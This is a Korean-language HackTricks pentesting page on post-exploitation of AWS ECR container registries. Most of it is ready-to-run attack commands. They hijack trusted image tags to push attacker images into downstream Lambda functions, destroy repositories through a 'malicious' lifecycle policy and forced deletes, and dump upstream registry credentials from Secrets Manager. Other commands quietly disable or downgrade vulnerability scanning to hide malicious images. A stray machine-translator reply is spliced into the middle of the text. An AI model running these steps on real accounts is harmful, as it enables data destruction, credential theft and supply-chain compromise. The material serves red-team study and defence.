AWS - ECR 사후 활동

Tip

AWS 해킹 학습 및 실습:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습: HackTricks Training GCP Red Team Expert (GRTE)
Az 해킹 학습 및 실습: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

ECR

자세한 내용은 다음을 확인하세요

AWS - ECR Enum

Login, Pull & Push

# Docker login into ecr
## For public repo (always use us-east-1)
aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
## For private repo
aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account

# Download
docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
## If you still have the error "Requested image not found"
## It might be because the tag "latest" doesn't exit
## Get valid tags with:
TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list

# Inspect the image
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
docker inspect <account id>.dkr.ecr.<region>.amazonaws.com/<image>:<tag> # Inspect the image indicating the URL

# Upload (example uploading purplepanda with tag latest)
docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest

# Downloading without Docker
# List digests
aws ecr batch-get-image --repository-name level2 \
--registry-id 653711331788 \
--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'

## Download a digest
aws ecr get-download-url-for-layer \
--repository-name level2 \
--registry-id 653711331788 \
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"

이미지를 다운로드한 후에는 민감한 정보를 확인하세요:

Docker Forensics - HackTricks

신뢰된 Tag를 ecr:PutImage로 덮어쓰기 (Tag Hijacking / Supply Chain)

만약 소비자가 tag 단위로 배포(예: stable, prod, latest)하고 tags가 변경 가능하다면, ecr:PutImage를 사용해 해당 tag 아래에 이미지 manifest를 업로드하여 신뢰된 Tag를 공격자 제어 콘텐츠로 재지정할 수 있습니다.

일반적인 방법 중 하나는 기존의 공격자 제어 하에 있는 tag(또는 digest)의 manifest를 복사해 신뢰된 Tag를 그것으로 덮어쓰는 것입니다.

REGION=us-east-1
REPO="<repo_name>"
SRC_TAG="backdoor"   # attacker-controlled tag already present in the repository
DST_TAG="stable"     # trusted tag used by downstream systems

# 1) Fetch the manifest behind the attacker tag
MANIFEST="$(aws ecr batch-get-image \
--region "$REGION" \
--repository-name "$REPO" \
--image-ids imageTag="$SRC_TAG" \
--query 'images[0].imageManifest' \
--output text)"

# 2) Overwrite the trusted tag with that manifest
aws ecr put-image \
--region "$REGION" \
--repository-name "$REPO" \
--image-tag "$DST_TAG" \
--image-manifest "$MANIFEST"

# 3) Verify both tags now point to the same digest
aws ecr describe-images --region "$REGION" --repository-name "$REPO" --image-ids imageTag="$DST_TAG" --query 'imageDetails[0].imageDigest' --output text
aws ecr describe-images --region "$REGION" --repository-name "$REPO" --image-ids imageTag="$SRC_TAG" --query 'imageDetails[0].imageDigest' --output text

영향: .../$REPO:$DST_TAG를 가져오는 모든 워크로드는 IaC, Kubernetes 매니페스트 또는 태스크 정의를 변경하지 않고도 공격자가 선택한 콘텐츠를 받게 됩니다.

하위 소비자 예시: Lambda 컨테이너 이미지가 태그 업데이트로 자동 새로고침되는 경우

Lambda 함수가 container image (PackageType=Image)로 배포되고 digest 대신 ECR tag(예: :stable, :prod)을 사용하면, 해당 태그를 덮어쓰는 행위는 함수가 새로고침될 때 공급망 변조를 Lambda 실행 역할 내부에서의 코드 실행으로 바꿀 수 있습니다.

이 상황을 식별하는 방법:

REGION=us-east-1

# 1) Find image-based Lambda functions and their ImageUri
aws lambda list-functions --region "$REGION" \
--query "Functions[?PackageType=='Image'].[FunctionName]" --output text |
tr '\t' '\n' | while read -r fn; do
img="$(aws lambda get-function --region "$REGION" --function-name "$fn" --query 'Code.ImageUri' --output text 2>/dev/null || true)"
[ -n "$img" ] && printf '%s\t%s\n' "$fn" "$img"
done

# 2) Check whether a function references a mutable tag (contains ":<tag>")
# Prefer digest pinning (contains "@sha256:") in well-hardened deployments.

갱신이 자주 발생하는 방법:

  • CI/CD 또는 GitOps가 정기적으로 lambda:UpdateFunctionCode를 호출(같은 ImageUri를 사용하더라도)하여 Lambda가 태그를 다시 해석하도록 강제합니다.
  • 이벤트 기반 자동화가 ECR 이미지 이벤트(push/tag 업데이트)를 감지하여 갱신용 Lambda/자동화를 트리거합니다.

신뢰된 태그를 덮어쓸 수 있고 갱신 메커니즘이 존재한다면, 해당 함수의 다음 호출 시 공격자가 제어하는 코드가 실행됩니다. 이 코드는 환경 변수 읽기, 네트워크 리소스 액세스, 그리고 Lambda 역할을 사용해 AWS API를 호출(예: secretsmanager:GetSecretValue)할 수 있습니다.

ecr:PutLifecyclePolicy | ecr:DeleteRepository | ecr-public:DeleteRepository | ecr:BatchDeleteImage | ecr-public:BatchDeleteImage

이 권한들 중 하나라도 가진 공격자는 리포지토리의 모든 이미지를 삭제하도록 lifecycle policy를 생성하거나 수정한 다음 ECR 리포지토리 전체를 삭제할 수 있습니다. 이는 리포지토리에 저장된 모든 컨테이너 이미지의 손실을 초래합니다.

# Create a JSON file with the malicious lifecycle policy
echo '{
"rules": [
{
"rulePriority": 1,
"description": "Delete all images",
"selection": {
"tagStatus": "any",
"countType": "imageCountMoreThan",
"countNumber": 0
},
"action": {
"type": "expire"
}
}
]
}' > malicious_policy.json

# Apply the malicious lifecycle policy to the ECR repository
aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json

# Delete the ECR repository
aws ecr delete-repository --repository-name your-ecr-repo-name --force

# Delete the ECR public repository
aws ecr-public delete-repository --repository-name your-ecr-repo-name --force

# Delete multiple images from the ECR repository
aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0

# Delete multiple images from the ECR public repository
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0

ECR Pull‑Through Cache (PTC)에서 upstream 레지스트리 자격 증명 탈취

ECR Pull‑Through Cache가 인증된 upstream 레지스트리(Docker Hub, GHCR, ACR 등)로 구성된 경우, upstream 자격 증명은 예측 가능한 이름 접두사 ecr-pullthroughcache/로 AWS Secrets Manager에 저장됩니다. 운영자가 때때로 ECR 관리자에게 광범위한 Secrets Manager 읽기 권한을 부여하여 자격 증명을 AWS 외부로 탈취하거나 재사용할 수 있게 됩니다.

Requirements

  • secretsmanager:ListSecrets
  • secretsmanager:GetSecretValue

PTC 후보 secrets 나열하기

aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
--output text

발견된 시크릿을 덤프하고 공통 필드를 파싱합니다

for s in $(aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
aws secretsmanager get-secret-value --secret-id "$s" \
--query SecretString --output text | tee /tmp/ptc_secret.json
jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
done

선택 사항: leaked creds를 업스트림 (read‑only login)에 대해 검증

echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io

영향 - 이러한 Secrets Manager 항목을 읽으면 재사용 가능한 업스트림 레지스트리 자격 증명(사용자명/비밀번호 또는 토큰)을 얻을 수 있으며, 이는 AWS 외부에서 악용되어 프라이빗 이미지를 가져오거나 업스트림 권한에 따라 추가 리포지토리에 접근하는 데 사용될 수 있습니다.

Registry-level stealth: disable or downgrade scanning via ecr:PutRegistryScanningConfiguration

레지스트리 수준의 ECR 권한을 가진 공격자는 레지스트리 스캐닝 구성을 scan-on-push 규칙 없이 BASIC으로 설정하여 모든 리포지토리에 대한 자동 취약점 스캐닝을 은밀하게 축소하거나 비활성화할 수 있습니다. 이렇게 하면 새 이미지 푸시가 자동으로 스캔되는 것을 막아 취약하거나 악성인 이미지를 은폐합니다.

요구 사항

  • ecr:PutRegistryScanningConfiguration
  • ecr:GetRegistryScanningConfiguration
  • ecr:PutImageScanningConfiguration (선택 사항, 저장소별)
  • ecr:DescribeImages, ecr:DescribeImageScanFindings (검증)

레지스트리 전체를 수동(자동 스캔 없음)으로 다운그레이드

REGION=us-east-1
# Read current config (save to restore later)
aws ecr get-registry-scanning-configuration --region "$REGION"

# Set BASIC scanning with no rules (results in MANUAL scanning only)
aws ecr put-registry-scanning-configuration \
--region "$REGION" \
--scan-type BASIC \
--rules '[]'

리포지토리와 이미지로 테스트

acct=$(aws sts get-caller-identity --query Account --output text)
repo=ht-scan-stealth
aws ecr create-repository --region "$REGION" --repository-name "$repo" >/dev/null 2>&1 || true
aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
printf 'FROM alpine:3.19\nRUN echo STEALTH > /etc/marker\n' > Dockerfile
docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test .
docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test

# Verify no scan ran automatically
aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids imageTag=test --query 'imageDetails[0].imageScanStatus'
# Optional: will error with ScanNotFoundException if no scan exists
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true

I don’t have access to that file. Please paste the contents of src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md here and I’ll translate it to Korean while preserving all markdown, tags, links, and paths.

# Disable scan-on-push for a specific repository
aws ecr put-image-scanning-configuration \
--region "$REGION" \
--repository-name "$repo" \
--image-scanning-configuration scanOnPush=false

영향

  • 레지스트리 전반에 걸쳐 푸시된 새로운 이미지가 자동으로 스캔되지 않아 취약하거나 악성인 콘텐츠에 대한 가시성이 줄어들고 수동 스캔이 시작될 때까지 탐지가 지연됩니다.

레지스트리 전체 스캔 엔진 다운그레이드 ecr:PutAccountSetting을 통해 (AWS_NATIVE -> CLAIR)

레지스트리 전체에 걸쳐 취약점 탐지 품질을 저하시킬 수 있으며, 기본 AWS_NATIVE에서 레거시 CLAIR 엔진으로 BASIC 스캔 엔진을 전환함으로써 발생합니다. 이로 인해 스캔이 완전히 비활성화되지는 않지만 결과나 커버리지가 실질적으로 달라질 수 있습니다. 규칙이 없는 BASIC 레지스트리 스캐닝 구성과 결합하면 스캔을 수동 전용으로 만들 수 있습니다.

요구 사항

  • ecr:PutAccountSetting, ecr:GetAccountSetting
  • (선택 사항) ecr:PutRegistryScanningConfiguration, ecr:GetRegistryScanningConfiguration

영향

  • 레지스트리 설정 BASIC_SCAN_TYPE_VERSIONCLAIR로 설정되어 이후의 BASIC 스캔들이 다운그레이드된 엔진으로 실행됩니다. CloudTrail은 PutAccountSetting API 호출을 기록합니다.

단계

REGION=us-east-1

# 1) Read current value so you can restore it later
aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION || true

# 2) Downgrade BASIC scan engine registry‑wide to CLAIR
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value CLAIR

# 3) Verify the setting
aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION

# 4) (Optional stealth) switch registry scanning to BASIC with no rules (manual‑only scans)
aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC --rules '[]' || true

# 5) Restore to AWS_NATIVE when finished to avoid side effects
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE

ECR 이미지 취약점 스캔

#!/bin/bash

# This script pulls all images from ECR and runs snyk on them showing vulnerabilities for all images

region=<region>
profile=<aws_profile>

registryId=$(aws ecr describe-registry --region $region --profile $profile --output json | jq -r '.registryId')

# Configure docker creds
aws ecr get-login-password --region $region --profile $profile | docker login --username AWS --password-stdin $registryId.dkr.ecr.$region.amazonaws.com

while read -r repo; do
echo "Working on repository $repo"
digest=$(aws ecr describe-images --repository-name $repo --image-ids imageTag=latest --region $region --profile $profile --output json | jq -r '.imageDetails[] | .imageDigest')
if [ -z "$digest" ]
then
echo "No images! Empty repository"
continue
fi
url=$registryId.dkr.ecr.$region.amazonaws.com/$repo@$digest
echo "Pulling $url"
docker pull $url
echo "Scanning $url"
snyk container test $url --json-file-output=./snyk/$repo.json --severity-threshold=high
# trivy image -f json -o ./trivy/$repo.json --severity HIGH,CRITICAL $url
# echo "Removing image $url"
# docker image rm $url
done < <(aws ecr describe-repositories --region $region --profile $profile --output json | jq -r '.repositories[] | .repositoryName')

Tip

AWS 해킹 학습 및 실습:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습: HackTricks Training GCP Red Team Expert (GRTE)
Az 해킹 학습 및 실습: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기